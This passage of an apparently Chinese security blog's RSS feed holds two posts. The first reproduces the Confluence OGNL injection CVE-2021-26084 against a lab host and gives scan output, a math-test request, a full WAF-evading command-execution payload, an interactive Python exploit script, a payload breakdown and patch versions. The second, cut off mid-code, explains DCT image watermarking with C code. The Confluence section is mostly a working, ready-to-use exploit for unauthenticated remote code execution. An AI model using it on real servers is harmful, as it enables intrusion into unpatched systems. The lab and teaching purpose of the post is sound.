&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

# 扫描结果
PORT     STATE SERVICE VERSION
8090/tcp open  http    Apache Tomcat (language: en)
MAC Address: 00:0C:29:B3:23:74 (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8090 端口开放，运行着 &lt;code&gt;Apache Tomcat&lt;/code&gt;（Confluence 的默认端口）。&lt;/p&gt;
&lt;h3&gt;漏洞检测&lt;/h3&gt;
&lt;p&gt;该漏洞的核心在于 &lt;code&gt;queryString&lt;/code&gt; 参数的 OGNL 注入，通过构造一个简单的数学计算来验证漏洞是否存在。这种检测方式与 &lt;a href=&quot;/posts/2020/08/66/&quot;&gt;Apache Struts2 S2-059 远程代码执行漏洞（CVE-2019-0230）复现&lt;/a&gt;中的 &lt;code&gt;%{6*6}&lt;/code&gt; 验证思路相同。&lt;/p&gt;
&lt;p&gt;使用 Burp Suite 向存在漏洞的路径 &lt;code&gt;/pages/doenterpagevariables.action&lt;/code&gt; 发送 &lt;code&gt;POST&lt;/code&gt; 请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /pages/doenterpagevariables.action HTTP/1.1

Host: 192.168.31.148:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b123*123%7d%2b%5cu0027
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;响应中 &lt;code&gt;queryString&lt;/code&gt; 的回显值变为 &lt;code&gt;15129&lt;/code&gt;（123×123 的计算结果），证明 OGNL 表达式被执行：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Confluence-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-26084%EF%BC%89%E5%A4%8D%E7%8E%B0%EF%BC%9AOGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E5%85%A8%E6%B5%81%E7%A8%8B%E6%8B%86%E8%A7%A3.assets/CVE-2021-26084-burpsuite%E9%87%8D%E6%94%BE123.png&quot; alt=&quot;Burp Suite 中 queryString 回显 15129，证明表达式被执行&quot; /&gt;&lt;/p&gt;
&lt;p&gt;本漏洞有多个接口可触发：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/pages/doenterpagevariables.action
/pages/createpage-entervariables.action
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/pages/doenterpagevariables.action&lt;/code&gt; 路径对应的 &lt;code&gt;queryString&lt;/code&gt; 参数被直接传递到 Velocity 模板中，利用链非常短，Payload 构造简单稳定。匿名用户（未登录）也可以访问这些接口，无需身份验证即可触发远程代码执行。&lt;/p&gt;
&lt;h3&gt;执行任意命令&lt;/h3&gt;
&lt;p&gt;确认漏洞存在之后，发送完整的命令执行 Payload：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /pages/doenterpagevariables.action HTTP/1.1

Host: 192.168.31.148:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1064

queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;靶机成功返回了 &lt;code&gt;id&lt;/code&gt; 命令的执行结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Confluence-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-26084%EF%BC%89%E5%A4%8D%E7%8E%B0%EF%BC%9AOGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E5%85%A8%E6%B5%81%E7%A8%8B%E6%8B%86%E8%A7%A3.assets/CVE-2021-26084-burpsuite%E9%87%8D%E6%94%BE.png&quot; alt=&quot;Burp Suite 中 id 命令执行结果回显&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Payload 的编码绕过与执行逻辑见下文附录。&lt;/p&gt;
&lt;h3&gt;获取交互式 WebShell&lt;/h3&gt;
&lt;p&gt;使用 Python 脚本获取交互式 WebShell，脚本由 &lt;a href=&quot;https://github.com/hev0x&quot;&gt;hev0x&lt;/a&gt; 编写（&lt;code&gt;banner&lt;/code&gt; 打印函数此处省略）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

import requests
import optparse
from bs4 import BeautifulSoup
from requests.packages import urllib3
urllib3.disable_warnings()

parser = optparse.OptionParser()
parser.add_option(&apos;-u&apos;, &apos;--url&apos;, action=&quot;store&quot;, dest=&quot;url&quot;, help=&quot;Base target host: http://confluencexxx.com&quot;)
parser.add_option(&apos;-p&apos;, &apos;--path&apos;, action=&quot;store&quot;, dest=&quot;path&quot;, help=&quot;Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x&quot;, default=&quot;/pages/createpage-entervariables.action?SpaceKey=x&quot;)

options, args = parser.parse_args()
session = requests.Session()

url_vuln = options.url
endpoint = options.path

if not options.url:
    print(&apos;[+] Specify an url target&apos;)
    print(&apos;[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x&apos;)
    print(&apos;[+] Example help usage: exploit.py -h&apos;)
    exit()

def cmdExec():

    while True:
        
        cmd = input(&apos;&amp;gt; &apos;)
        
        xpl_url = url_vuln + endpoint   
        xpl_headers = {&quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36&quot;, 
                       &quot;Connection&quot;: &quot;close&quot;, 
                       &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,
                       &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;}      
        xpl_data = {&quot;queryString&quot;: &quot;confluence_shell\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022&quot;+cmd+&quot;\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027&quot;}
        rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data, verify=False)

        soup = BeautifulSoup(rawHTML.text, &apos;html.parser&apos;)
        queryStringValue = soup.find(&apos;input&apos;,attrs = {&apos;name&apos;:&apos;queryString&apos;, &apos;type&apos;:&apos;hidden&apos;})[&apos;value&apos;]
        print(queryStringValue)

cmdExec()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行脚本 &lt;code&gt;python Confluence_OGNLInjection.py -u http://192.168.31.148:8090&lt;/code&gt;，进入交互式命令执行界面：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Confluence-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2021-26084%EF%BC%89%E5%A4%8D%E7%8E%B0%EF%BC%9AOGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E5%85%A8%E6%B5%81%E7%A8%8B%E6%8B%86%E8%A7%A3.assets/CVE-2021-26084-poc.png&quot; alt=&quot;Python 脚本交互式 WebShell 执行 id 命令&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本的核心逻辑与上文的命令执行 Payload 相同，只是把命令参数替换为用户输入并循环执行。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;p&gt;Confluence 使用了 WebWork 框架处理 Web 请求。在某些特定的 &lt;code&gt;.action&lt;/code&gt; 页面中，后端代码将用户输入的 &lt;code&gt;queryString&lt;/code&gt; 参数直接放入了 WebWork 标签的属性中进行渲染。当页面重新渲染回显这些参数时，OGNL 引擎会对内容进行二次解析：如果参数中包含符合 OGNL 语法的内容，就会被当作表达式执行。&lt;/p&gt;
&lt;p&gt;正常情况下，&lt;code&gt;queryString&lt;/code&gt; 被视为纯文本，&lt;code&gt;${}&lt;/code&gt; 语法只在配置文件或特定标签中才会被解析。攻击者通过在参数值中注入单引号（&lt;code&gt;\u0027&lt;/code&gt;）和加号（&lt;code&gt;+&lt;/code&gt;），改变了后端字符串拼接的逻辑，使 OGNL 引擎将大括号内的内容识别为可执行表达式，这就是注入的入口。&lt;/p&gt;
&lt;h2&gt;附录：Payload 逐层拆解&lt;/h2&gt;
&lt;h3&gt;Payload 1：数学表达式验证&lt;/h3&gt;
&lt;h4&gt;为什么 ${6*6} 无法生效&lt;/h4&gt;
&lt;p&gt;在之前的漏洞复现中使用过 &lt;code&gt;${6*6}&lt;/code&gt; 这个 Payload，然而在这里行不通。Confluence 内部使用了类似于 Struts2 的 WebWork 框架，当后端接收到 &lt;code&gt;queryString&lt;/code&gt; 参数并准备将其显示在 HTML 页面上时，默认将其视为&lt;strong&gt;纯文本（Plain Text）&lt;/strong&gt;。&lt;code&gt;${}&lt;/code&gt; 语法通常只在配置文件（如 &lt;code&gt;xwork.xml&lt;/code&gt;）或特定的标签（如 &lt;code&gt;&amp;lt;ww:property /&amp;gt;&lt;/code&gt;）中才会被自动解析，而在正常的 HTTP 参数传递中，系统只会把 &lt;code&gt;${6*6}&lt;/code&gt; 当作一串普通字符。&lt;/p&gt;
&lt;h4&gt;使用 + 号拼接&lt;/h4&gt;
&lt;p&gt;假设后端代码是这样写的：&lt;code&gt;String message = &quot;The query result is: &quot; + userInput;&lt;/code&gt;，如果输入 &lt;code&gt;${6*6}&lt;/code&gt;，它只是字符串的一部分：&lt;code&gt;&quot;The query result is: ${6*6}&quot;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;当输入 &lt;code&gt;\u0027+{6*6}+\u0027&lt;/code&gt; 时，由于单引号 &lt;code&gt;\u0027&lt;/code&gt; 的存在，拼接逻辑变成了：&lt;code&gt;&quot;The query result is: &quot; + &apos;&apos; + {6*6} + &apos;&apos;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;中间的 &lt;code&gt;+&lt;/code&gt; 号在 OGNL 引擎中不再是文本连接符，而是变成了&lt;strong&gt;表达式连接符&lt;/strong&gt;。它迫使解析器停止处理字符串，转而计算大括号 &lt;code&gt;{}&lt;/code&gt; 内部的表达式。&lt;/p&gt;
&lt;h4&gt;进一步转码&lt;/h4&gt;
&lt;p&gt;在 URL 中，反斜杠 &lt;code&gt;\&lt;/code&gt; 属于特殊字符。如果直接发送，某些 Web 服务器（如新版 Tomcat）会认为这是非法字符并拒绝请求（返回 400 错误），或者将其静默丢弃。&lt;strong&gt;&lt;code&gt;%5c&lt;/code&gt; 是 &lt;code&gt;\&lt;/code&gt; 的标准 URL 编码&lt;/strong&gt;，确保它能安全到达后端。&lt;/p&gt;
&lt;p&gt;Java 内部字符串本身也需要 &lt;code&gt;\&lt;/code&gt; 来转义引号。为了保证这些 &lt;code&gt;\&lt;/code&gt; 在多层解析后依然存在，必须在最前端进行彻底的百分号编码。&lt;/p&gt;
&lt;p&gt;因此最终的 Payload 变成了：&lt;code&gt;%5cu0027%2b%7b6*6%7d%2b%5cu0027&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;Payload 2：命令执行&lt;/h3&gt;
&lt;h4&gt;结构分析&lt;/h4&gt;
&lt;p&gt;这段代码大量使用了&lt;strong&gt;Unicode 编码&lt;/strong&gt;，连函数名 &lt;code&gt;eval&lt;/code&gt; 都进行了 Unicode 转码（&lt;code&gt;eval&lt;/code&gt; → &lt;code&gt;%5cu0065val&lt;/code&gt;），这是为了逃避基于关键词扫描的 WAF。&lt;/p&gt;
&lt;p&gt;由上文可知这段 Payload 的整体骨架是：&lt;code&gt;\u0027 + { 表达式 } + \u0027&lt;/code&gt;，表达式核心调用使用了更底层的&lt;strong&gt;JS 引擎调用&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Class.forName(&apos;javax.script.ScriptEngineManager&apos;).newInstance().getEngineByName(&apos;JavaScript&apos;).eval(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这种方式利用 Java 内部的 JavaScript 引擎（Nashorn）来执行复杂的逻辑，具有极强的灵活性。&lt;/p&gt;
&lt;h4&gt;逻辑分析&lt;/h4&gt;
&lt;p&gt;将 &lt;code&gt;eval()&lt;/code&gt; 括号里的内容进行还原，会发现这是一个完整的 Java 服务端脚本：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;跨平台判断&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var isWin = java.lang.System.getProperty(&quot;os.name&quot;).toLowerCase().contains(&quot;win&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先判断靶机是 Windows 还是 Linux，以便决定后面调用 &lt;code&gt;cmd.exe&lt;/code&gt; 还是 &lt;code&gt;bash&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;构造执行器&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var cmd = new java.lang.String(&quot;id&quot;); // 这里的 &quot;id&quot; 是需要执行的命令
var p = new java.lang.ProcessBuilder();
if(isWin){ p.command(&quot;cmd.exe&quot;, &quot;/c&quot;, cmd); } 
else{ p.command(&quot;bash&quot;, &quot;-c&quot;, cmd); }
p.redirectErrorStream(true); // 将标准错误流合并到输出流中，防止报错看不见
var process = p.start();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;获取回显&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = &quot;&quot;; var output = &quot;&quot;;
while((line = bufferedReader.readLine()) != null){
    output = output + line + java.lang.Character.toString(10); // 逐行读取并累加回显内容
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;总结&lt;/h4&gt;
&lt;p&gt;这段 Payload 兼容性强，同时适配 Windows 与 Linux 靶机；通过全 Unicode 转码绕过基于关键词的过滤；命令结果直接在网页响应中回显，不需要反弹 Shell 也能获取数据。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 Confluence 至 &lt;strong&gt;7.4.11&lt;/strong&gt;、&lt;strong&gt;7.11.6&lt;/strong&gt;、&lt;strong&gt;7.12.5&lt;/strong&gt;、&lt;strong&gt;7.13.0&lt;/strong&gt;（按当前版本线）或 &lt;strong&gt;6.13.23&lt;/strong&gt;（6.13.x 线）；&lt;/li&gt;
&lt;li&gt;修复方式：对 &lt;code&gt;queryString&lt;/code&gt; 等用户输入参数进行 OGNL 表达式过滤，阻止二次解析；&lt;/li&gt;
&lt;li&gt;该漏洞无需身份验证即可利用，且在披露后存在大规模在野利用，受影响实例应尽快升级。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Atlassian 官方公告：https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-16-1077908975.html&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2021-26084&lt;/li&gt;
&lt;li&gt;hev0x 的 Python 利用脚本：https://github.com/hev0x&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2021-26084&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>DCT数字水印算法的理论基础与实现</title><link>https://blog.mal-suen.cn/posts/2023/03/200/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2023/03/200/</guid><description>本文系统阐述了基于离散余弦变换（DCT）的数字水印算法的理论基础与实现优化。文章首先介绍了DCT变换的数学原理，分析了频率系数的物理意义及其在图像处理中的能量分布特性。随后详细描述了水印算法的核心流程，包括图像分块、DCT变换、差分能量修改法的嵌入策略以及盲提取协议。</description><pubDate>Sun, 19 Mar 2023 18:34:31 GMT</pubDate><content:encoded>&lt;h2&gt;核心概念：从空间域到频率域的映射&lt;/h2&gt;
&lt;p&gt;在数字图像中，**空间域（Spatial Domain）**是指像素在二维坐标系上的亮度排列。而 &lt;strong&gt;DCT（Discrete Cosine Transform）&lt;/strong&gt; 是一种正交线性变换，它将图像块的颜色分量分解为一系列具有不同频率的余弦波组合。&lt;/p&gt;
&lt;h3&gt;频率分量的物理意义&lt;/h3&gt;
&lt;p&gt;当一个 $8 \times 8$ 的像素方阵经过 DCT 变换后，会生成一个 64 阶的系数矩阵。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;低频（Low Frequency）&lt;/strong&gt;：位于矩阵左上角，代表图像的基色和平均亮度（DC 分量）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中频（Mid Frequency）&lt;/strong&gt;：位于矩阵中部，代表图像的轮廓特征与主要纹理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高频（High Frequency）&lt;/strong&gt;：位于矩阵右下角，代表图像的边缘锐度、噪点和细微纹理。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;能量转换的目的&lt;/h3&gt;
&lt;p&gt;将空间信号转换为频率分布，是为了实现&lt;strong&gt;能量集中&lt;/strong&gt;。在大多数自然图像中，绝大部分能量（信息量）集中在低频部分，而水印算法的目标是找到一个&lt;strong&gt;既能抵抗压缩干扰、又不引起视觉察觉&lt;/strong&gt;的频段，即&quot;中频带&quot;。&lt;/p&gt;
&lt;h2&gt;算法执行全流程&lt;/h2&gt;
&lt;h3&gt;图像分块与色彩通道选择&lt;/h3&gt;
&lt;p&gt;算法首先将图像划分为不重叠的 $8 \times 8$ 像素块。通常选择 &lt;strong&gt;YCbCr&lt;/strong&gt; 色彩空间的 &lt;strong&gt;Y（亮度）分量&lt;/strong&gt;，或者 &lt;strong&gt;RGB&lt;/strong&gt; 空间中的&lt;strong&gt;蓝色通道&lt;/strong&gt;进行操作。这是因为人类视觉系统（HVS）对蓝色分量的微小变化敏感度较低。&lt;/p&gt;
&lt;h3&gt;正向 DCT 变换&lt;/h3&gt;
&lt;p&gt;利用分离变换（Separable Transform）特性，对每个像素块执行数学运算。此时，原本在空间坐标上分布的颜色强度被转化为 64 个频率系数。&lt;/p&gt;
&lt;h3&gt;水印信号的编码与嵌入&lt;/h3&gt;
&lt;p&gt;这是算法的逻辑核心。我们采用&lt;strong&gt;差分能量修改法&lt;/strong&gt;，通过调整两个特定中频位置系数（例如 $DCT_{4,3}$ 和 $DCT_{3,4}$）的相对大小来携带二进制信息（0 或 1）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;嵌入逻辑&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;若嵌入 $Bit = 1$：通过数学补偿，使 $DCT_{4,3}$ 显著大于 $DCT_{3,4}$。&lt;/li&gt;
&lt;li&gt;若嵌入 $Bit = 0$：通过数学补偿，使 $DCT_{3,4}$ 显著大于 $DCT_{4,3}$。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;强度控制（Strength）&lt;/strong&gt;：引入一个步长参数 $S$。修改后的系数差异需满足 $|A - B| &amp;gt; S$。$S$ 越大，水印在面对 JPEG 压缩、缩放等攻击时的存活率越高，但会导致图像产生块效应（Blocky artifacts）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;逆向 DCT 变换&lt;/h3&gt;
&lt;p&gt;修改完成后，执行 IDCT 运算。这一步将频率系数重新组合成空间域的像素值。由于修改仅发生在中频段，还原后的像素值与原像素值的偏差极小（通常在 $\pm 1$ 到 $\pm 3$ 之间），从而实现了视觉上的隐形。&lt;/p&gt;
&lt;h2&gt;理论分析与数学基础&lt;/h2&gt;
&lt;h3&gt;2D-DCT 数学定义&lt;/h3&gt;
&lt;p&gt;对于 $8 \times 8$ 像素块 $f(x,y)$，其二维DCT变换定义为：&lt;/p&gt;
&lt;p&gt;$$F(u, v) = \frac{1}{4} C(u) C(v) \sum_{x=0}^{7} \sum_{y=0}^{7} f(x, y) \cos \left[ \frac{(2x+1)u\pi}{16} \right] \cos \left[ \frac{(2y+1)v\pi}{16} \right]$$&lt;/p&gt;
&lt;p&gt;其中，归一化系数 $C(k) = \sqrt{1/8}$ 当 $k=0$ 时，$C(k) = \sqrt{2/8}$ 当 $k&amp;gt;0$ 时。&lt;/p&gt;
&lt;h3&gt;频率系数的稳定性分析&lt;/h3&gt;
&lt;p&gt;自然图像的DCT系数呈现显著的能量集中特性。约85%-95%的能量集中在低频系数中，中频系数承载约10%-15%的能量，高频系数能量占比通常小于5%。这种能量分布特性决定了不同频率成分对图像处理操作的敏感程度。&lt;/p&gt;
&lt;h2&gt;鲁棒性与稳定性保障机制&lt;/h2&gt;
&lt;h3&gt;盲提取协议&lt;/h3&gt;
&lt;p&gt;该算法属于“盲水印”，即提取端无需原始图像参考。提取器仅需对目标图像再次进行 $8 \times 8$ 分块 DCT，直接观测预定坐标系数的差值方向。若 $DCT_{4,3} &amp;gt; DCT_{3,4}$，则判定为 1，反之为 0。&lt;/p&gt;
&lt;h3&gt;循环冗余嵌入&lt;/h3&gt;
&lt;p&gt;为了对抗图像剪裁（Cropping）攻击，算法将水印字符串（Payload）在整张图像的所有分块中进行循环嵌入。只要提取出的第一个字节符合预设的&lt;strong&gt;同步特征码（Sync Marker）&lt;/strong&gt;，即可确认信号起始位置。这意味着只要图像保留了足够的局部完整性，水印即可恢复。&lt;/p&gt;
&lt;h3&gt;抗压缩原理&lt;/h3&gt;
&lt;p&gt;JPEG 压缩通过量化表抹除高频系数以节省空间。DCT 水印将信号刻录在保留较完整的中频系数中，使其在经历剧烈的数据舍弃（重采样、有损压缩）后，系数间的相对比例关系依然能够维持稳定，从而确保了信息的持久性。&lt;/p&gt;
&lt;h2&gt;核心逻辑实现&lt;/h2&gt;
&lt;h3&gt;原始算法&lt;/h3&gt;
&lt;p&gt;为了深入理解 &lt;strong&gt;DCT（离散余弦变换）水印算法&lt;/strong&gt;，我们可以通过 C 实现一个核心演示版本。该算法直接实现 2D-DCT 的数学定义式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;math.h&amp;gt;

#ifndef M_PI
#define M_PI 3.14159265358979323846
#endif

/**
 * 原始 2D-DCT 变换（标准四层循环实现）
 * @param f 输入的 8x8 空间域像素矩阵
 * @param F 输出的 8x8 频率域系数矩阵
 */
void raw_dct_2d(double f[8][8], double F[8][8]) {
    for (int u = 0; u &amp;lt; 8; u++) {
        for (int v = 0; v &amp;lt; 8; v++) {
            double sum = 0.0;
            
            // 核心：空间域坐标 (x, y) 的全量双重累加
            for (int x = 0; x &amp;lt; 8; x++) {
                for (int y = 0; y &amp;lt; 8; y++) {
                    sum += f[x][y] * cos((2 * x + 1) * u * M_PI / 16.0) * cos((2 * y + 1) * v * M_PI / 16.0);
                }
            }
            
            // 计算正交归一化系数 alpha
            double au = (u == 0) ? sqrt(1.0/8.0) : sqrt(2.0/8.0);
            double av = (v == 0) ? sqrt(1.0/8.0) : sqrt(2.0/8.0);
            
            F[u][v] = au * av * sum;
        }
    }
}

/**
 * 原始 2D-IDCT 逆变换（标准四层循环实现）
 * 用于从频率分布 F 还原回空间信号 f
 */
void raw_idct_2d(double F[8][8], double f[8][8]) {
    for (int x = 0; x &amp;lt; 8; x++) {
        for (int y = 0; y &amp;lt; 8; y++) {
            double sum = 0.0;
            
            for (int u = 0; u &amp;lt; 8; u++) {
                for (int v = 0; v &amp;lt; 8; v++) {
                    double au = (u == 0) ? sqrt(1.0/8.0) : sqrt(2.0/8.0);
                    double av = (v == 0) ? sqrt(1.0/8.0) : sqrt(2.0/8.0);
                    
                    sum += au * av * F[u][v] * cos((2 * x + 1) * u * M_PI / 16.0) * cos((2 * y + 1) * v * M_PI / 16.0);
                }
            }
            f[x][y] = sum;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在原始算法中，为了得到 64 个 $F(u, v)$ 系数，每一个系数都需要进行 $8 \times 8 = 64$ 次乘法累加。总计算量为 $64 \times 64 = 4096$ 次核心运算。其复杂度为 $O(N^4)$（其中 $N=8$）。对于一张 $1080p$ 的图片，大约有 $32,400$ 个 $8 \times 8$ 块，这意味着总计算量接近 &lt;strong&gt;1.3 亿次浮点运算&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;优化方案&lt;/h3&gt;
&lt;h4&gt;查表法&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;cos&lt;/code&gt; 函数的计算非常昂贵。而在 $8 \times 8$ 的 DCT 中，&lt;code&gt;cos&lt;/code&gt; 的输入值只有 64 种固定的组合。预先计算好这 64 个值，存入一个静态数组，可使计算速度增加数倍。优化后的代码如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 全局静态查找表：存储预计算的余弦系数，消除重复的三角函数运算开销 */
static double COS_TABLE[8][8];
static int table_initialized = 0;

/**
 * init_tables: 预计算 DCT 系数表
 * 依据 DCT-II 标准公式，提前计算 cos((2j+1)iπ / 16) 并缓存
 */
void init_tables() {
    int i, j;
    if (table_initialized) return;
    for (i = 0; i &amp;lt; 8; i++) {
        for (j = 0; j &amp;lt; 8; j++) {
            COS_TABLE[i][j] = cos((2 * j + 1) * i * M_PI / 16.0);
        }
    }
    table_initialized = 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;可分离变换&lt;/h4&gt;
&lt;p&gt;二维 DCT 可以分解为两次一维 DCT。先对每一行做 1D-DCT，再对结果的每一列做 1D-DCT。通过 &lt;code&gt;dct_1d&lt;/code&gt; 分两次处理行和列，可以将复杂度从 $O(N^4)$ 降至 $O(N^3)$。优化后的代码如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * fdct_1d: 一维正向离散余弦变换 (Forward DCT)
 * 将空间域信号转换为频率域能量分布
 */
void fdct_1d(double in[8], double out[8]) {
    int i, j;
    for (i = 0; i &amp;lt; 8; i++) {
        double sum = 0;
        for (j = 0; j &amp;lt; 8; j++) {
            sum += in[j] * COS_TABLE[i][j];
        }
        // 应用正交化系数 Alpha
        double alpha = (i == 0) ? 0.35355339 : 0.5; // sqrt(1/8) 与 sqrt(2/8)
        out[i] = alpha * sum;
    }
}

/**
 * idct_1d: 一维逆向离散余弦变换 (Inverse DCT)
 * 将频率域系数还原回空间域像素值
 */
void idct_1d(double in[8], double out[8]) {
    int i, j;
    for (j = 0; j &amp;lt; 8; j++) {
        double sum = 0;
        for (i = 0; i &amp;lt; 8; i++) {
            double alpha = (i == 0) ? 0.35355339 : 0.5;
            sum += alpha * in[i] * COS_TABLE[i][j];
        }
        out[j] = sum;
    }
}

/**
 * fdct_8x8_fast: 二维快速 DCT 实现
 * 利用 DCT 的可分离特性 (Separability)，通过两次一维变换完成二维矩阵运算
 * 复杂度由 O(N^4) 降至 O(N^3)
 */
void fdct_8x8_fast(double in[8][8], double out[8][8]) {
    double temp[8][8];
    int i, j;
    // 步骤1：行变换
    for (i = 0; i &amp;lt; 8; i++) fdct_1d(in[i], temp[i]);
    // 步骤2：列变换
    for (j = 0; j &amp;lt; 8; j++) {
        double col_in[8], col_out[8];
        for (i = 0; i &amp;lt; 8; i++) col_in[i] = temp[i][j];
        fdct_1d(col_in, col_out);
